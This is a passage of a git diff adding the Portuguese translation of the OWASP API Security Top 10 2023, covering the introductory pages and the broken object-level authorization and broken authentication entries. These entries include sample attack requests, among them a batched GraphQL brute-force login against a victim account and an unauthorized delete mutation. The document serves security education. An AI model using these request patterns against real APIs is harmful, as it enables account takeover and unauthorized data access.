APIs](0xaa-unsafe-consumption-of-apis.md) +* [O Que Se Segue Para Programadores](0xb0-next-devs.md) +* [O que Se Segue Para DevSecOps](0xb1-next-devsecops.md) +* [Metodologia e Dados](0xd0-about-data.md) +* [Agradecimentos](0xd1-acknowledgments.md) diff --git a/editions/2023/pt-pt/0x01-about-owasp.md b/editions/2023/pt-pt/0x01-about-owasp.md new file mode 100644 index 000000000..a9b862987 --- /dev/null +++ b/editions/2023/pt-pt/0x01-about-owasp.md @@ -0,0 +1,62 @@ +# Sobre a OWASP + +Open Worldwide Application Security Project (OWASP) é uma comunidade aberta que +se dedica a ajudar as organizações a desenvolver, adquirir e manter aplicações e +APIs confiáveis. + +A OWASP disponibiliza de forma livre e aberta: + +* Ferramentas e normas de segurança aplicacional. +* Livros completos sobre testes de segurança aplicacional, desenvolvimento + de código seguro e revisão de código focada em segurança. +* Apresentações e [vídeos][1]. +* [_Cheat Sheets_][2] sobre assuntos diversos. +* Controlos e bibliotecas de segurança _standard_. +* [Comunidades locais espalhadas por todo o mundo][3]. +* Investigação de ponta. +* Múltiplas [conferências em todo o mundo][4]. +* [Listas de discussão][5] ([arquivo][6]). + +Mais informação em: [https://www.owasp.org][7]. + +Todas as ferramentas, documentos, vídeos, apresentações e comunidades locais da +OWASP são livres e abertos a todos os interessados em melhorar a segurança +aplicacional. + +Aconselhamos uma abordagem à segurança aplicacional como sendo um problema de +pessoas, processos e tecnologia, porque as abordagens mais eficazes à segurança +aplicacional necessitam de melhorias em todas estas áreas. + +A OWASP é um novo tipo de organização. A nossa independência em relação a +pressões comerciais permite-nos fornecer informação imparcial, prática e +economicamente adequada sobre a segurança aplicacional. + +A OWASP não está afiliada com nenhuma empresa tecnológica, embora suportemos o +uso informado de tecnologias de segurança comerciais. A OWASP produz muitos +tipos de materiais de uma forma colaborativa, transparente e aberta. + +A fundação OWASP é uma entidade sem fins lucrativos o que assegura o sucesso a +longo prazo do projeto. Quase todas as pessoas associadas à OWASP são +voluntárias, incluindo a direção da OWASP, os líderes das comunidades locais, os +líderes dos projetos e os seus membros. Suportamos investigação inovadora em +segurança através de bolsas e infraestrutura. + +Junte-se a nós! + +## Direitos de Autor e Licença + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. Este documento é distribuído de +acordo com a licença [Creative Commons Attribution Share-Alike 4.0 license][8]. +Para qualquer tipo de reutilização ou distribuição, deve deixar claro para +terceiros os termos da licença deste trabalho. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/pt-pt/0x02-foreword.md b/editions/2023/pt-pt/0x02-foreword.md new file mode 100644 index 000000000..500ff338f --- /dev/null +++ b/editions/2023/pt-pt/0x02-foreword.md @@ -0,0 +1,47 @@ +# Prefácio + +As APIs - _Application Programming Interface_ têm um papel fundamental na +inovação que observamos nos dias de hoje ao nível das aplicações. Desde a banca, +retalho e transportes à Internet das Coisas (IoT), veículos autónomos e _Smart +Cities_, as APIs são hoje um elemento crítico nas aplicações móveis, _Software +as a Service_ (SaaS) e aplicações web, sejam elas destinadas ao público em +geral, parceiros de negócio ou para uso interno das organizações. + +Por definição as APIs expõem lógica aplicacional e dados sensíveis tais como +informação pessoal (PII - _Personally Identifiable Information_), motivo pelo +qual se têm vindo a tornar um alvo para os atacantes. Se não conseguirmos +garantir a segurança das APIs será impossível continuar a inovar a um ritmo +acelerado. + +Apesar de continuar a fazer sentindo manter uma lista dos 10 principais +problemas de segurança em aplicações web, devido à natureza particular das APIs, +é importante haver também uma tal lista específica para APIs. +A segurança das APIs foca-se nas estratégias e soluções para compreender e +mitigar as vulnerabilidades e risco de segurança associado às APIs. + +Se estiver familiarizado com o projeto [OWASP Top 10][1] com certeza notará as +semelhanças entre os documentos: elas são propositadas para facilitar a leitura +e adoção deste. Se por outro lado for a primeira vez que tem contacto com um +documento da série OWASP Top 10, sugerimos que comece por ler as secções [Riscos +de Segurança em APIs][2] e [Metodologia e Dados][3] antes de aprofundar a lista +dos dez problemas de segurança mais críticos em APIs. + +Pode contribuir para o OWASP API Security Top 10 com perguntas, comentários e +ideias no repositório do projeto no GitHub: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Pode ainda encontrar o OWASP API Security Top 10 em: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Gostaríamos de agradecer a todos os que participaram neste projeto, tornando-o +possível com o seu empenho e contribuições. A lista de contribuidores +encontra-se na secção [Agradecimentos][4]. Obrigado! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0x03-introduction.md b/editions/2023/pt-pt/0x03-introduction.md new file mode 100644 index 000000000..1e2a15929 --- /dev/null +++ b/editions/2023/pt-pt/0x03-introduction.md @@ -0,0 +1,60 @@ +# Introdução + +## Bem-vindo ao OWASP API Security Top 10 - 2023! + +Bem-vindo à segunda edição do OWASP API Security Top 10! + +Este documento de consciencialização foi publicado pela primeira vez em 2019. +Desde então, a indústria de segurança das APIs cresceu e ganhou maturidade. Nós +acreditamos fortemente que este trabalho contribuiu positivamente para tal, +devido a ter sido adotado rapidamente como referência na indústria. + +As APIs desempenham um papel muito importante na arquitetura das aplicações +modernas. Devido à inovação ter um ritmo diferente do que a sensibilização +para a segurança, nós acreditamos que é importante concentrarmo-nos nas +falhas de segurança mais comuns das APIs. + +O objetivo principal do OWASP API Security Top 10 é educar todos aqueles +envolvidos no desenvolvimento e manutenção de APIs, como por exemplo, +programadores, _designers_, arquitetos, gestores ou organizações. Pode saber +mais sobre o projeto API Security visitando a [página do projeto][1]. + +Se não estiver familiarizado com a série OWASP Top 10, nós recomendamos que veja +pelo menos os seguintes projetos Top 10: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Nenhum destes projetos substitui qualquer outro: se está a trabalhar numa +aplicação móvel alimentada por uma API, então é melhor ler os dois documentos +Top 10 correspondentes. O mesmo é válido se estiver a trabalhar num website ou +numa aplicação desktop alimentados por APIs. + +Na secção [Metodologia e Dados][13] pode ler mais sobre como esta edição foi +criada. Por agora encorajamos todos a contribuírem com perguntas, comentários e +ideias no nosso [repositório no GitHub][14] ou através da [_Mailing list_][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/pt-pt/0x04-release-notes.md b/editions/2023/pt-pt/0x04-release-notes.md new file mode 100644 index 000000000..3f3f32672 --- /dev/null +++ b/editions/2023/pt-pt/0x04-release-notes.md @@ -0,0 +1,49 @@ +# Notas da Versão + +Esta é a segunda edição do OWASP API Security Top 10, exatamente quatro anos +após a primeira versão. Muito mudou no panorama das API (a nível de +segurança). O tráfego das API aumentou a um ritmo acelerado, alguns protocolos +de API ganharam muito mais popularidade, surgiram muitos novos vendedores/ +soluções de segurança para API e, claro, os atacantes desenvolveram novas +capacidades e técnicas para comprometer APIs. Já era hora de atualizar a lista +dos dez riscos de segurança de API mais críticos. + +Com uma indústria de segurança de API mais madura, pela primeira vez, houve [um +apelo público para dados][1]. Infelizmente, não foram fornecidos dados, mas +com base na experiência da equipa do projeto, numa análise cuidadosa por +especialistas em segurança de API e no feedback da comunidade sobre a versão +preliminar, construímos esta nova lista. Na [secção Metodologia e Dados][2], +encontrará mais detalhes sobre como esta versão foi elaborada. Para mais +detalhes sobre os riscos de segurança, consulte a [secção Riscos de Segurança +em APIs][3]. + +O OWASP API Security Top 10 2023 é um documento de sensibilização prospetivo +para uma indústria de ritmo acelerado. Não substitui outros TOP 10. Nesta +edição: + +* Combinámos *Excessive Data Exposure* e *Mass Assignment*, focando na causa + comum: falhas na validação de autorização ao nível das propriedades do objeto. +* Damos mais ênfase ao consumo de recursos, em vez de nos concentrarmos na + rapidez com que são esgotados. +* Criámos uma nova categoria "*Unrestricted Access to Sensitive Business Flows*" + para abordar novas ameaças, incluindo a maioria daquelas que podem ser + mitigadas através de *rate limiting*. +* Adicionámos "*Unsafe Consumption of APIs*" para abordar algo que começámos a + observar: os atacantes começaram a procurar serviços integrados de um alvo + para os comprometer, em vez de atingirem diretamente as APIs do seu alvo. Este + é o momento certo para começar a sensibilizar sobre este risco crescente. + +As APIs desempenham um papel cada vez mais importante na arquitetura moderna de +microsserviços, *Single Page Applications* (SPAs), aplicações móveis, Internet +das Coisas (IoT), etc. O OWASP API Security Top 10 é um esforço necessário para +criar sensibilização sobre os problemas de segurança modernos das APIs. + +Esta atualização só foi possível devido ao grande esforço de vários voluntários, +listados na secção de [Agradecimentos][4]. + +Obrigado! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0x10-api-security-risks.md b/editions/2023/pt-pt/0x10-api-security-risks.md new file mode 100644 index 000000000..41ab360a5 --- /dev/null +++ b/editions/2023/pt-pt/0x10-api-security-risks.md @@ -0,0 +1,49 @@ +# Riscos de Segurança em APIs + +Para a análise de risco usámos a [metodologia de avaliação de risco da +OWASP][1]. + +A tabela seguinte resume a terminologia associada à pontuação correspondente ao +nível de risco. + +| Agentes Ameaça | Abuso | Prevalência | Deteção | Impacto Técnico | Impacto Negócio | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Específico da API | Fácil **3** | Predominante **3** | Fácil **3** | Grave **3** | Específico do Negócio | +| Específico da API | Moderado **2** | Comum **2** | Moderado **2** | Moderado **2** | Específico do Negócio | +| Específico da API | Difícil **1** | Incomum **1** | Difícil **1** | Reduzido **1** | Específico do Negócio | + +**Nota**: Esta abordagem não toma em consideração a probabilidade do Agente de +Ameaça. Também não toma em consideração nenhum detalhe técnico associado à sua +API. Qualquer um destes fatores podem ter impacto significativo na probabilidade +de um atacante encontrar e abusar duma falha de segurança particular. Estes +indicadores não tomam em consideração o impacto atual no seu negócio. Terá de +ser a sua organização a decidir qual o nível de risco para a segurança das suas +aplicações e APIs que está disposta a aceitar, baseado na cultura, indústria e +regulação a que está sujeita. O propósito do OWASP API Security Top 10 não é +fazer essa análise por si. Uma vez que esta edição não é baseada em dados, a +prevalência resulta de um consenso entre os membros da equipa. + +## Referências + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Externas + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/pt-pt/0x11-t10.md b/editions/2023/pt-pt/0x11-t10.md new file mode 100644 index 000000000..84612e31b --- /dev/null +++ b/editions/2023/pt-pt/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 API Security Risks – 2023 + +| Risk | Description | +| ---- | ----------- | +| [API1:2023 - Broken Object Level Authorization][api1] | As APIs tendem a expor mais _endpoints_ que manipulam identificadores de objetos, tornando as falhas no controlo de acessos mais suscetíveis a ataques. A verificação da autorização para acesso aos objetos deve ser tida em consideração em todas as funções que acedem a dados com base em informação fornecida pelo utilizador.| +| [API2:2023 - Broken Authentication][api2] | Com frequência os mecanismos de autenticação são implementados de forma incorreta, permitindo aos atacantes comprometer os _tokens_ de autenticação ou abusar das falhas na implementação por forma a assumir a identidade de outros utilizadores de forma temporária ou permanente. | +| [API3:2023 - Broken Object Property Level Authorization][api3] | Esta categoria combina [API3:2019 - Excessive Data Exposure][1] e [API6:2019 - Mass Assignment][2], focando na causa principal: a falta de validação de autorização adequada ao nível das propriedades do objeto. Isso leva à exposição ou manipulação de informações por partes não autorizadas. | +| [API4:2023 - Unrestricted Resource Consumption][api4] | Satisfazer pedidos de API requer recursos como largura de banda de rede, CPU, memória e armazenamento. Outros recursos como emails/SMS/chamadas telefónicas ou validação biométrica são disponibilizados por fornecedores de serviços através de integrações de API, sendo pagos por pedido. Ataques bem-sucedidos podem levar a uma negação do serviço (DoS) ou a um aumento dos custos operacionais. | +| [API5:2023 - Broken Function Level Authorization][api5] | Políticas de controlo de acesso complexas com diferentes níveis hierárquicos, grupos e perfis e uma não tão clara separação entre o que são ou não funcionalidades administrativas tendem a conduzir a falhas de autorização. Abusando destas falhas os atacantes podem ganhar acesso a recursos de outros utilizadores e/ou a funcionalidades administrativas. | +| [API6:2023 - Unrestricted Access to Sensitive Business Flows][api6] | As APIs vulneráveis a este risco expõem um fluxo de negócio - como comprar um bilhete ou publicar um comentário - sem compensar por como a funcionalidade poderia prejudicar o negócio se fosse usada de forma excessiva e automatizada. Isto não resulta necessariamente de falhas de implementação. | +| [API7:2023 - Server Side Request Forgery][api7] | As falhas de Server-Side Request Forgery (SSRF) podem ocorrer quando uma API está a obter um recurso remoto sem validar o URI fornecido pelo utilizador. Isto permite que um atacante force a aplicação a enviar um pedido manipulado para um destino inesperado, mesmo quando protegido por um firewall ou uma VPN. | +| [API8:2023 - Security Misconfiguration][api8] | As APIs e os sistemas que as suportam normalmente contêm configurações complexas, destinadas a tornar as APIs mais personalizáveis. Os engenheiros de software e de DevOps podem ignorar essas configurações ou não seguir as melhores práticas de segurança quando se trata de configuração, abrindo a porta para diferentes tipos de ataques. | +| [API9:2023 - Improper Inventory Management][api9] | As APIs tendem a expor mais _endpoints_ do que as aplicações web tradicionais, fazendo com que a documentação se torne ainda mais importante. Um inventário dos _hosts_ e APIs em execução também têm um papel importante na mitigação de falhas tais como versões de APIs descontinuadas e exposição de _endpoints_ para análise de problemas. | +| [API10:2023 - Unsafe Consumption of APIs][api10] | Os programadores tendem a confiar mais nos dados recebidos de APIs de terceiros do que os fornecidos pelo utilizador, e por isso tendem a adotar padrões de segurança mais fracos. Para comprometer APIs, os atacantes visam os serviços de terceiros integrados em vez de tentarem comprometer a API alvo diretamente. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md b/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..2d12ea930 --- /dev/null +++ b/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md @@ -0,0 +1,114 @@ +# API1:2023 Broken Object Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Moderado** : Específico do Negócio | +| Os atacantes podem explorar *endpoints* de API vulneráveis a *broken object-level authorization* ao manipular o ID de um objeto enviado no pedido. Os IDs de objetos podem ser números inteiros sequenciais, UUIDs ou *strings* genéricas. Independentemente do tipo de dado, são fáceis de identificar no alvo do pedido (parâmetros do caminho ou da *string* de consulta), cabeçalhos do pedido ou até mesmo como parte do conteúdo do pedido. | Este problema é extremamente comum em aplicações baseadas em API porque o componente do servidor geralmente não acompanha completamente o estado do cliente e, em vez disso, confia mais em parâmetros como IDs de objetos, que são enviados pelo cliente para decidir a quais objetos aceder. A resposta do servidor geralmente é suficiente para entender se o pedido foi bem sucedido. | O acesso não autorizado a objetos de outros utilizadores pode resultar na divulgação de dados a partes não autorizadas, perda de dados ou manipulação de dados. Em certas circunstâncias, o acesso não autorizado a objetos também pode resultar na apropriação completa da conta. | + +## A API é vulnerável? + +A autorização de acesso ao nível do objeto é um mecanismo de controlo que +geralmente é implementado ao nível do código para validar que um utilizador só +pode aceder aos objetos aos quais deveria ter permissão para aceder. + +Cada *endpoint* de API que recebe um ID de um objeto e realiza alguma ação sobre +o objeto deve implementar verificações de autorização ao nível do objeto. As +verificações devem validar que o utilizador autenticado tem permissões para +realizar a ação solicitada sobre o objeto alvo. + +As falhas neste mecanismo geralmente conduzem à divulgação não autorizada de +informações, modificação ou destruição de todos os dados. + +Comparar o ID do utilizador da sessão atual (e.g. ao extraí-lo do token JWT) com +o parâmetro de ID vulnerável não é uma solução suficiente para resolver a falha +de Broken Object Level Authorization (BOLA). Esta abordagem pode endereçar +apenas um pequeno subconjunto de casos. + +No caso de BOLA, é por design que o utilizador tem acesso ao *endpoint*/função +da API vulnerável. A violação ocorre ao nível do objeto, através da manipulação +do ID. Se um atacante conseguir aceder a um *endpoint*/função da API ao qual não +deveria ter acesso - este é um caso de [Broken Function Level Authorization][5] +(BFLA) em vez de BOLA. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma plataforma de comércio eletrónico para criar lojas online oferece uma página +de listagem com gráficos relativos à receita das lojas. Inspecionando os pedidos +realizados pelo navegador um atacante identifica os _endpoints_ da API usados +para obter os dados a partir dos quais são gerados os gráficos bem como o seu +padrão `/shops/{shopName}/revenue_data.json`. Utilizado outro _endpoint_ da API +o atacante obtém a lista com o nome de todas as lojas. Com recurso a um _script_ +simples para substituir `{shopName}` no URL pelos nomes que constam da lista, o +atacante consegue acesso aos dados relativos às vendas de milhares de lojas +online. + +### Cenário #2 + +Um fabricante de automóveis habilitou o controlo remoto dos seus veículos +através de uma API para comunicação com o telemóvel do condutor. A API permite +ao condutor iniciar e parar o motor e trancar e destrancar as portas +remotamente. Como parte deste processo, o utilizador envia o Número de +Identificação do Veículo (VIN) para a API. No entanto, a API não valida se o VIN +representa um veículo que pertence ao utilizador autenticado, o que resulta numa +vulnerabilidade de BOLA. Um atacante pode aceder a veículos que não lhe +pertencem. + +### Cenário #3 + +Um serviço de armazenamento de documentos online permite aos utilizadores +visualizar, editar, armazenar e eliminar os seus documentos. Quando um documento +de um utilizador é eliminado, é enviada uma mutação GraphQL com o ID do +documento para a API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +Uma vez que o documento com o ID fornecido é eliminado sem quaisquer +verificações adicionais de permissão, um utilizador pode conseguir eliminar o +documento de outro utilizador. + +## Como Prevenir + +* Implementar um mecanismo de autorização baseado nas políticas de utilizador e + hierarquia. +* Utilizar um mecanismo de autorização para verificar se o utilizador com sessão + ativa tem permissão para realizar a ação pretendida sobre o registo. Esta + verificação deve ser feita por todas as funções que utilizem informação + fornecida pelo cliente para aceder a um registo na base de dados. +* Utilizar preferencialmente valores aleatórios e não previsíveis (e.g., GUID) + como identificador para os registos. +* Escrever testes para avaliar o correto funcionamento do mecanismo de + autorização. Não colocar em produção alterações vulneráveis que não passem nos + testes. + +## Referências + +### OWASP + +* [Authorization Cheat Sheet][1] +* [Authorization Testing Automation Cheat Sheet][2] + +### Externas + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/pt-pt/0xa2-broken-authentication.md b/editions/2023/pt-pt/0xa2-broken-authentication.md new file mode 100644 index 000000000..3c57c44f8 --- /dev/null +++ b/editions/2023/pt-pt/0xa2-broken-authentication.md @@ -0,0 +1,140 @@ +# API2:2023 Broken Authentication + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| O mecanismo de autenticação é um alvo fácil para os atacantes, uma vez que está exposto a todos. Embora possam ser necessárias competências técnicas mais avançadas para explorar alguns problemas de autenticação, geralmente existem ferramentas de exploração disponíveis. | As conceções erradas dos engenheiros de software e de segurança sobre os limites da autenticação e a complexidade inerente da implementação tornam os problemas de autenticação prevalentes. Metodologias para detetar *broken authentication* estão disponíveis e são fáceis de criar. | Os atacantes podem obter controlo total das contas de outros utilizadores no sistema, ler os seus dados pessoais e realizar ações sensíveis em seu nome. Os sistemas têm pouca probabilidade de conseguir distinguir as ações dos atacantes das ações legítimas dos utilizadores. | + +## A API é vulnerável? + +Os _endpoints_ e fluxos de autenticação são ativos que carecem de proteção. Além +disso, mecanismos de recuperação de _password_ devem ser tratados da mesma forma +que os mecanismos de autenticação. + +Uma API é vulnerável se: + +* Permite ataques de _credential stuffing_, onde o atacante utiliza força bruta + com uma lista de nomes de utilizador e palavras-passe válidos. +* Permite ataques de força bruta a uma conta de utilizador específica, não + implementando mecanismos de mitigação como _captcha_ ou bloqueio da conta por + excesso de tentativas de autenticação falhadas. +* Permite a utilização de _passwords_ fracas. +* Envia informação de autenticação, tal como _tokens_ e _passwords_, no URL. +* Permite que os utilizadores alterem o seu endereço de email, _password_ atual + ou realizem outras operações sensíveis sem pedir a confirmação da _password_. +* Não valida a autenticidade dos _tokens_ de autenticação. +* Aceita _tokens_ JWT sem que estes sejam assinados/usando algoritmos fracos + `("alg":"none")` +* Não valida a data de expiração dos _tokens_ JWT. +* Utiliza _passwords_ em texto, não encriptadas, ou resumos fracos. +* Utiliza chaves de encriptação fracas. + +Além disso, um microsserviço é vulnerável se: + +* Outros microsserviços podem aceder a ele sem autenticação +* Utiliza tokens fracos ou previsíveis para impor autenticação + +## Exemplos de Cenários de Ataque + +## Cenário #1 + +Para realizar a autenticação do utilizador, o cliente tem de enviar um pedido de +API como o exemplo abaixo, com as credenciais do utilizador: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Se as credenciais forem válidas, é devolvido um token de autenticação que deve +ser fornecido em pedidos subsequentes para identificar o utilizador. A +quantidade de tentativas de login está sujeita a uma limitação temporal +restritiva: apenas três pedidos são permitidos por minuto. + +Para efetuar login por força bruta com a conta de uma vítima, os atores +maliciosos aproveitam o agrupamento de consultas GraphQL para contornar a +limitação temporal restritiva de pedidos, acelerando o ataque: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Cenário #2 + +Para atualizar o endereço de email associado à conta de um utilizador, os +clientes devem enviar um pedido API como o exemplo abaixo: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Devido à API não exigir que os utilizadores confirmem a sua identidade +fornecendo a sua _password_ atual, atores maliciosos que consigam colocar-se +numa posição de roubar o token de autenticação podem conseguir assumir a conta +da vítima ao iniciar o processo de redefinição de senha após atualizar o +endereço de email da conta da vítima. + +## Como Prevenir + +* Certifique-se de que conhece todos os fluxos de autenticação possíveis (e.g. + móvel/web/_deeplinks_/etc.). Pergunte aos engenheiros responsáveis quais os + fluxos em falta/não identificados. +* Leia sobre os mecanismos de autenticação em uso. Certifique-se que compreende + quais e como são usados. OAuth não é um mecanismo de autenticação, assim como + também não o são as API _keys_. +* Não reinvente a roda em termos de autenticação, geração de _tokens_, + armazenamento de _passwords_. Opte pela utilização de standards. +* _Endpoints_ para recuperação de _password_ devem ser tratados como os + _endpoints_ de _login_ no que diz respeito à proteção contra ataques de força + bruta, limitação do número de pedidos e bloqueio de conta. +* Exija nova autenticação para operações sensíveis (e.g. alterar o + endereço de email do proprietário da conta/número de telefone para + autenticação de dois fatores). +* Utilize a [OWASP Authentication Cheatsheet][1]. +* Sempre que possível implemente autenticação de múltiplos fatores. +* Implemente mecanismos anti-força bruta para mitigar ataques do tipo + _credential stuffing_, dicionário e força bruta nos _endpoints_ de + autenticação. Este mecanismo deve ter configurações mais restritivas do que + para os demais _endpoints_ da API. +* Implemente [mecanismos de bloqueio de conta][2] / _captcha_ para prevenir + ataques de força bruta contra utilizadores específicos. Implemente verificação + da qualidade/força das _passwords_. +* As API _keys_ não devem ser usadas para autenticação dos utilizadores. Apenas + devem ser usadas para autenticação dos [clientes da API][3]. + +## Referências + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Externas + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md b/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..e6573388a --- /dev/null +++ b/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,152 @@ +# API3:2023 Broken Object Property Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Moderado** : Específico Negócio | +| As APIs tendem a expor _endpoints_ que devolvem todas as propriedades do objeto. Isto é especialmente válido para APIs REST. Para outros protocolos como o GraphQL, pode ser necessário enviar pedidos elaborados para especificar que propriedades devem ser devolvidas. Identificar estas propriedades adicionais que podem ser manipuladas requer mais esforço, mas existem algumas ferramentas automatizadas disponíveis para ajudar nesta tarefa. | Inspecionar as respostas da API é suficiente para identificar informações sensíveis nas representações dos objetos devolvidos. _Fuzzing_ é geralmente usado para identificar propriedades adicionais (ocultas). Determinar se podem ser alteradas depende da elaboração de um pedido à API e da análise da resposta. Pode ser necessária uma análise de efeitos secundários se a propriedade alvo não for devolvida na resposta da API. | O acesso não autorizado a propriedades privadas/sensíveis de objetos pode resultar na divulgação de dados, perda de dados ou corrupção de dados. Em certas circunstâncias, o acesso não autorizado a propriedades de objetos pode levar a elevação de privilégios ou a apropriação parcial/completa de conta. | + +## A API é vulnerável? + +Ao permitir que um utilizador aceda a um objeto através de um _endpoint_ da API, +é importante validar que o utilizador tem acesso às propriedades específicas do +objeto que está a tentar aceder. + +Um _endpoint_ de uma API é vulnerável se: + +* O _endpoint_ da API expõe propriedades de um objeto que são consideradas + sensíveis e não devem ser lidas pelo utilizador. (anteriormente denominado: + "[Excessive Data Exposure][1]") +* O _endpoint_ da API permite que um utilizador altere, adicione ou elimine o + valor de uma propriedade sensível de um objeto ao qual o utilizador não deve + ter acesso. (anteriormente denominado: "[Mass Assignment][2]") + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma aplicação de encontros permite a um utilizador denunciar outros utilizadores +por comportamento inadequado. Como parte deste processo, o utilizador clica num +botão de 'denúncia', e é desencadeada a seguinte chamada de API: + +``` +POST /graphql +{ + 